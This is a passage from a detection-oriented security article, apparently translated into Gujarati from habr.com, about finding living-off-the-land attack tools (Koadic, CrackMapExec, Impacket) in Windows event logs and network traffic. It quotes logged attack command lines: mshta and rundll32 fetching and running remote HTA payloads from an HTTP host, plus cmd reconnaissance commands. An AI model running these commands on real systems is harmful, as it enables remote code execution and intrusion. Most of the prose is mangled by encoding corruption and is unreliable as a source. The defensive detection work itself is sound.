C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6
เชเซเชฏเชพเชฐเซ เชเซเชเชกเชฟเช เชเชพเชฒเซ เชฐเชนเซเชฏเซเช เชนเซเชฏ, เชคเซเชฏเชพเชฐเซ เชคเชฎเซ เช เชจเซเชฏ 4688 เชเชตเซเชจเซเชเซเชธเชจเซ เชเชเซเชฐเชฟเชฌเซเชฏเซเช เชธเชพเชฅเซ เชเซเช เชถเชเซ เชเซ เชเซ เชคเซเชจเซ เชธเชเชชเซเชฐเซเชฃ เชฐเซเชคเซ เชฒเชพเชเซเชทเชฃเชฟเชเชคเชพ เชเชชเซ เชเซ:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1
เชคเชพเชฐเชฃเซ
เชเซเชจเซเชเชพเชฐเซเชฎเชพเช เชฒเชฟเชตเชฟเชเช เชเชซ เชง เชฒเซเชจเซเชก เชเซเชฐเซเชจเซเชก เชฒเซเชเชชเซเชฐเชฟเชฏ เชฅเช เชฐเชนเซเชฏเซ เชเซ. เชคเซเช เชคเซเชฎเชจเซ เชเชฐเซเชฐเชฟเชฏเชพเชคเซ เชฎเชพเชเซ เชตเชฟเชจเซเชกเซเชเชฎเชพเช เชฌเชจเซเชฒเชพ เชธเชพเชงเชจเซ เช
เชจเซ เชฎเชฟเชเซเชจเชฟเชเชฎเซเชธเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชเซ. เช
เชฎเซ เช เชธเชฟเชฆเซเชงเชพเชเชคเชจเซ เช
เชจเซเชธเชฐเซเชจเซ เชฒเซเชเชชเซเชฐเชฟเชฏ เชธเชพเชงเชจเซ Koadic, CrackMapExec เช
เชจเซ Impacket เชเซเช เชฐเชนเซเชฏเชพ เชเซเช APT เช
เชนเซเชตเชพเชฒเซเชฎเชพเช เชตเชงเซเชจเซ เชตเชงเซ เชฆเซเชเชพเชฏ เชเซ. เช เชเซเชฒเซเชธ เชฎเชพเชเซ เชเชฟเชเชนเชฌ เชชเชฐ เชซเซเชฐเซเชเซเชธเชจเซ เชธเชเชเซเชฏเชพ เชชเชฃ เชตเชงเซ เชฐเชนเซ เชเซ, เช
เชจเซ เชจเชตเชพ เชฆเซเชเชพเช เชฐเชนเซเชฏเชพ เชเซ (เชนเชตเซ เชคเซเชฎเชพเชเชฅเซ เชฒเชเชญเช เชเช เชนเชเชพเชฐ เชเซ). เช เชตเชฒเชฃ เชคเซเชจเซ เชธเชฐเชณเชคเชพเชจเซ เชเชพเชฐเชฃเซ เชฒเซเชเชชเซเชฐเชฟเชฏเชคเชพ เชฎเซเชณเชตเซ เชฐเชนเซเชฏเซเช เชเซ: เชนเซเชฎเชฒเชพเชเซเชฐเซเชจเซ เชคเซเชคเซเชฏ-เชชเชเซเชท เชธเชพเชงเชจเซเชจเซ เชเชฐเซเชฐ เชจเชฅเซ; เชคเซเช เชชเชนเซเชฒเซเชฅเซ เช เชชเซเชกเชฟเชคเซเชจเชพ เชฎเชถเซเชจเซ เชชเชฐ เชเซ เช
เชจเซ เชธเซเชฐเชเซเชทเชพ เชชเชเชฒเชพเชเชจเซ เชฌเชพเชฏเชชเชพเชธ เชเชฐเชตเชพเชฎเชพเช เชฎเชฆเชฆ เชเชฐเซ เชเซ. เช
เชฎเซ เชจเซเชเชตเชฐเซเช เชธเชเชเชพเชฐเชจเชพ เช
เชญเซเชฏเชพเชธ เชชเชฐ เชงเซเชฏเชพเชจ เชเซเชจเซเชฆเซเชฐเชฟเชค เชเชฐเซเช เชเซเช: เชเชชเชฐ เชตเชฐเซเชฃเชตเซเชฒ เชฆเชฐเซเช เชธเชพเชงเชจ เชจเซเชเชตเชฐเซเช เชเซเชฐเชพเชซเชฟเชเชฎเชพเช เชคเซเชจเชพ เชชเซเชคเชพเชจเชพ เชจเชฟเชถเชพเชจ เชเซเชกเซ เชเซ; เชคเซเชฎเชจเชพ เชตเชฟเชเชคเชตเชพเชฐ เช
เชญเซเชฏเชพเชธเชฅเซ เช
เชฎเชจเซ เช
เชฎเชพเชฐเซ เชชเซเชฐเซเชกเชเซเช เชถเซเชเชตเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชฎเชณเซ
เชฒเซเชเชเซ:
- เชเชจเซเชเซเชจ เชเซเชฏเซเชฐเชฟเชจ, เชจเชฟเชทเซเชฃเชพเชค เชธเซเชตเชพเช เชตเชฟเชญเชพเชเชจเชพ เชตเชกเชพ, เชชเซเชเซ เชจเชฟเชทเซเชฃเชพเชค เชธเซเชฐเชเซเชทเชพ เชเซเชจเซเชฆเซเชฐ, เชนเชเชพเชฐเชพเชคเซเชฎเช เชเซเชเซเชจเซเชฒเซเชเซเชธ
- เชเชเซเชฐ เชชเซเชกเชฎเซเชเซเชต, เชจเชฟเชทเซเชฃเชพเชค, เชชเซเชเซ เชจเชฟเชทเซเชฃเชพเชค เชธเซเชฐเชเซเชทเชพ เชเซเชจเซเชฆเซเชฐ, เชนเชเชพเชฐเชพเชคเซเชฎเช เชเซเชเซเชจเซเชฒเซเชเซเชธ
เชธเซเชฐเซเชธ: www.habr.com